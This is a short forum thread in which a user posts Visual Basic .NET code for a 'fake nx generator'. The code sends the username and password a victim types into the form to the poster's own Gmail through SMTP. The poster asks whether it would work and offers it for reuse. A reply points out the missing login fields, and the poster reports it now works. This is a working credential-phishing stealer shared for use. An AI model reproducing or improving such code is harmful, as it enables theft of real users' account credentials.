Coding Is This Right

Posts 1–3 of 3 · Page 1 of 1
Coding Is This Right
Imports System.Web
Imports System**** IO gets blocked out?
Imports System.Net.Mail

Public Class Form1
Private Sub button1_click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles button1.click
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("my email not telling you", "my password im not telling you either")
SmtpServer.Port = 587
SmtpServer.Host = "Smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("My email not telling you ")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "password"
mail.Body = TextBox1.Text & textbox2.text
SmtpServer.Send(mail)

End Sub
End Class'


This is for a fake nx generator all i need to know is if it would work and send it to my email pretty sure it would @Dreamer

feel free to use my code if you want notcie* must have a gmail email for it to work and for all emails and things i said i wasnt going to tell you i put in ym email or password leave the ones that sat username@gmail.com
This is the wrong section. And your missing components such as the form for passwords and username.

@BlitzEn
Move to visual basic section.

---------- Post added at 04:37 PM ---------- Previous post was at 04:36 PM ----------

This is the wrong section. And your missing components such as the form for passwords and username.

@BlitzEn
Move to visual basic section.
fixed it and made a quick progress bar works jsut fine now
Posts 1–3 of 3 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

Need help?